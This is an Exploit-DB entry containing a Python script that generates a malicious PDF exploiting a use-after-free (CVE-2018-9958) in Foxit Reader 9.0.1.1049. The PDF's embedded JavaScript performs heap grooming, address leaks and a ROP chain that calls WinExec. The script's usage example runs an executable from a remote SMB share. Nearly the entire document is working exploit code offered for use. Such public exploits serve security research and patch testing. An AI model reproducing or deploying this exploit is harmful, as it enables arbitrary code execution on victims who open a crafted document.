Foxit Reader 9.0.1.1049 - Arbitrary Code Execution

EDB-ID:

49116


Author:

CrossWire

Type:

local


Platform:

Windows

Date:

2020-11-27


# Exploit Title: Foxit Reader 9.0.1.1049 - Arbitrary Code Execution
# Date: 2020-08-29
# Exploit Author: CrossWire
# Vendor Homepage: https://www.foxitsoftware.com/
# Software Link: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English
# Version: 9.0.1.1049
# Tested on: Microsoft Windows Server 2016 10.0.14393
# CVE : [2018-9958](https://nvd.nist.gov/vuln/detail/CVE-2018-9958)

#!/usr/bin/python3

'''
===========================================================================
|   PDF generator for Foxit Reader Remote Code Execution (CVE 2018-9958)  |  
===========================================================================
| Written by: Kevin Dorland (CrossWire)                                   |
| Date: 08/29/2020                                                        |
|                                                                         |
| Exploit originally discovered by Steven Seeley (mr_me) of Source Incite |
|                                                                         |
| References:                                                             |
|   https://www.exploit-db.com/exploits/44941 (Steven Seely Calc.exe PoC) |
|   https://www.exploit-db.com/exploits/45269 (Metasploit adaptation)     |
|                                                                         |
===========================================================================
'''


PDF_TEMPLATE = '''
%PDF
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (

var heap_ptr   = 0;
var foxit_base = 0;
var pwn_array  = [];

function prepare_heap(size){
    var arr = new Array(size);
    for(var i = 0; i < size; i++){
        arr[i] = this.addAnnot({type: "Text"});;
        if (typeof arr[i] == "object"){
            arr[i].destroy();
        }
    }
}

function gc() {
    const maxMallocBytes = 128 * 0x100000;
    for (var i = 0; i < 3; i++) {
        var x = new ArrayBuffer(maxMallocBytes);
    }
}

function alloc_at_leak(){
    for (var i = 0; i < 0x64; i++){
        pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
    }
}

function control_memory(){
    for (var i = 0; i < 0x64; i++){
        for (var j = 0; j < pwn_array[i].length; j++){
            pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
        }
    }
}

function leak_vtable(){
    var a = this.addAnnot({type: "Text"});

    a.destroy();
    gc();

    prepare_heap(0x400);
    var test = new ArrayBuffer(0x60);
    var stolen = new Int32Array(test);

    var leaked = stolen[0] & 0xffff0000;
    foxit_base = leaked - 0x01f50000;
}

function leak_heap_chunk(){
    var a = this.addAnnot({type: "Text"});
    a.destroy();
    prepare_heap(0x400);

    var test = new ArrayBuffer(0x60);
    var stolen = new Int32Array(test);

    alloc_at_leak();
    heap_ptr = stolen[1];
}

function reclaim(){
    var arr = new Array(0x10);
    for (var i = 0; i < arr.length; i++) {
        arr[i] = new ArrayBuffer(0x60);
        var rop = new Int32Array(arr[i]);

        rop[0x00] = heap_ptr;                // pointer to our stack pivot from the TypedArray leak
        rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
        rop[0x02] = 0x72727272;              // junk
        rop[0x03] = foxit_base + 0x00001450  // pop ebp; ret
        rop[0x04] = 0xffffffff;              // ret of WinExec
        rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
        rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
        rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
        rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
        rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
        rop[0x0a] = foxit_base + 0x0041c6ca; // ret
        rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
        
        //Path to executable

<PATH TO EXECUTABLE>
        
        //End Path to executable

        rop[0x17] = 0x00000000;              // adios, amigo
    }
}

function trigger_uaf(){
    var that = this;
    var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
    var arr = [1];
    Object.defineProperties(arr,{
        "0":{
            get: function () {

                that.getAnnot(0, "uaf").destroy();

                reclaim();
                return 1;
            }
        }
    });

    a.point = arr;
}

function main(){
    leak_heap_chunk();
    leak_vtable();
    control_memory();
    trigger_uaf();
}

if (app.platform == "WIN"){
    if (app.isFoxit == "Foxit Reader"){
        if (app.appFoxitVersion == "9.0.1.1049"){
            main();
        }
    }
}

)>> trailer <</Root 1 0 R>>
'''

import sys

#Enforces 2 hex char byte notation. "0" becomes "0x00"
def format_byte(b):

    if (len(b) > 2) and (b[0:2] == '0x'):
        b = b[2:]

    if len(b) == 1:
        b = '0' + b

    return '0x' + b

def char2hex(c):
    return format_byte(hex(ord(c)))

#Converts file path into array of eleven 32-bit hex words
def path_to_machine_code(path,little_endian = True):

    print("[+] Encoding Path:",path)

    #ensure length
    if len(path) > 44:
        print("[CRITICAL] Path length greater than 44 characters (bytes). Aborting!")
        exit(-1)

    #Copy path into 4 character (32 bit) words (max 11)
    word_array = []
    for i in range(11):
        
        word = ''

        if len(path):
            word += path[0:4] if len(path) >= 4 else path
            path = path[len(word):]
        
        if len(word) < 4:
            word += chr(0) * (4 - len(word))

        word_array.append(word)

    #Convert chars to hex values and format to "0xAABBCCDD" notation
    hex_array = []
    for word in word_array:
            
        #Reverse byte order to fit little endian standard
        if(little_endian): word = word[::-1]

        #Write bytes to hex strings
        hex_string = '0x'
        for char in word:
            hex_string += char2hex(char)[2:] #strip the 0x off the byte here

        hex_array.append(hex_string)
   
    return hex_array

#writes encoded path to rop array to match template
def create_rop(hex_arr, start_index = '0c'):

    ord_array = []

    index = int(start_index,16)

    for instruction in hex_arr:

        full_instruction = f"\trop[{format_byte(hex(index))}] = {instruction};"

        ord_array.append(full_instruction)
    
        index += 1

    return ('\n'.join(ord_array))
    
    

if __name__ == '__main__':
    
    if len(sys.argv) != 3:
        print(f"USAGE: {sys.argv[0]} <path to executable> <pdf filename>")
        print("-- EXAMPLES --")
        print(f"{sys.argv[0]} \\\\192.168.0.1\\exploits\\bad.exe evil.pdf")

        exit(-1)

    #Parse user args
    EXE_PATH = sys.argv[1] 
    PDF_PATH = sys.argv[2]

    #Generate hex
    raw_hex = path_to_machine_code(EXE_PATH)

    print("[+] Machine Code:")
    for hex_word in raw_hex:
        print(hex_word)

    ord_string = create_rop(raw_hex)

    print("[+] Instructions to add:")
    print(ord_string)

    print("[+] Generating pdf...")

    print("\t- Filling template...")
    evil_pdf = PDF_TEMPLATE.replace('<PATH TO EXECUTABLE>',ord_string)
    
    print("\t- Writing file...")
    with open(PDF_PATH,'w') as fd:
        fd.write(evil_pdf)

    print("[+] Generated pdf:",PDF_PATH)